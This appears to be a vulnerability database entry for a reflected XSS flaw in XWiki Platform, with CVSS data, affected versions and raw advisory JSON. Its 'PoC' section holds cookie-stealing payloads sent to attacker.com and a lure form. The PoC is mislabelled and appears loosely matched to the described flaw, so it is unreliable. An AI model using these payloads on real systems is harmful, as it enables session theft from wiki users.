Security Vulnerability Report
中文
CVE-2026-24128 CVSS 6.1 MEDIUM

CVE-2026-24128

Published: 2026-01-24 00:15:49
Last Modified: 2026-02-12 16:47:29

Description

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 7.0-milestone-2 through 16.10.11, 17.0.0-rc-1 through 17.4.4, and 17.5.0-rc-1 through 17.7.0 contain a reflected Cross-site Scripting (XSS) vulnerability, which allows an attacker to craft a malicious URL and execute arbitrary actions with the same privileges as the victim. If the victim has administrative or programming rights, those rights can be exploited to gain full access to the XWiki installation. This issue has been patched in versions 17.8.0-rc-1, 17.4.5 and 16.10.12. To workaround, the patch can be applied manually, only a single line in templates/logging_macros.vm needs to be changed, no restart is required.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:xwiki:xwiki:7.0:milestone2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:xwiki:xwiki:7.0:rc1:*:*:*:*:*:* - VULNERABLE
XWiki Platform 7.0-milestone-2 至 16.10.11
XWiki Platform 17.0.0-rc-1 至 17.4.4
XWiki Platform 17.5.0-rc-1 至 17.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-24128 Reflected XSS PoC --> <!-- Example malicious URL structure --> <script> // Construct the malicious URL const baseUrl = 'https://target-xwiki-instance.com/xwiki/bin/view/Main/Log'; const maliciousPayload = '<script>alert(document.cookie)</script>'; const xssUrl = baseUrl + '?xredirect=' + encodeURIComponent(maliciousPayload); console.log('Malicious URL:', xssUrl); // Alternative payload for session hijacking const sessionHijackPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">' const altUrl = baseUrl + '?xredirect=' + encodeURIComponent(sessionHijackPayload); console.log('Session Hijacking URL:', altUrl); </script> <!-- HTML form for social engineering --> <form action="https://target-xwiki-instance.com/xwiki/bin/view/Main/Log" method="GET"> <input type="hidden" name="xredirect" value="<script>document.location='https://attacker.com/log?c='+document.cookie</script>" /> <button type="submit">Click for free prize!</button> </form>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24128", "sourceIdentifier": "[email protected]", "published": "2026-01-24T00:15:49.007", "lastModified": "2026-02-12T16:47:29.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 7.0-milestone-2 through 16.10.11, 17.0.0-rc-1 through 17.4.4, and 17.5.0-rc-1 through 17.7.0 contain a reflected Cross-site Scripting (XSS) vulnerability, which allows an attacker to craft a malicious URL and execute arbitrary actions with the same privileges as the victim. If the victim has administrative or programming rights, those rights can be exploited to gain full access to the XWiki installation. This issue has been patched in versions 17.8.0-rc-1, 17.4.5 and 16.10.12. To workaround, the patch can be applied manually, only a single line in templates/logging_macros.vm needs to be changed, no restart is required."}, {"lang": "es", "value": "XWiki Platform es una plataforma wiki genérica que ofrece servicios en tiempo de ejecución para aplicaciones construidas sobre ella. Las versiones 7.0-milestone-2 hasta 16.10.11, 17.0.0-rc-1 hasta 17.4.4, y 17.5.0-rc-1 hasta 17.7.0 contienen una vulnerabilidad de cross-site scripting (XSS) reflejado, que permite a un atacante crear una URL maliciosa y ejecutar acciones arbitrarias con los mismos privilegios que la víctima. Si la víctima tiene derechos administrativos o de programación, esos derechos pueden ser explotados para obtener acceso completo a la instalación de XWiki. Este problema ha sido parcheado en las versiones 17.8.0-rc-1, 17.4.5 y 16.10.12. Como solución alternativa, el parche puede aplicarse manualmente, solo una línea en templates/logging_macros.vm necesita ser cambiada, no se requiere reiniciar."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.1", "versionEndExcluding": "16.10.12", "matchCriteriaId": "1BEA65A2-AB4E-4261-A203-D75F286BA3DE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0.1", "versionEndExcluding": "17.4.5", "matchCriteriaId": "255D4A2A-0AA2-4A40-AB6D-D1FABD3E3DC8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.6.0", "versionEndExcluding": "17.8.0", "matchCriteriaId": "9C3D6525-5D1C-48E9-89FB-CDCC473ACEF5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:7.0:milestone2:*:*:*:*:*:*", "matchCriteriaId": "11FB095E-89D2-4AB5-B152-A0D5C3D0B137"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "09A ... (truncated)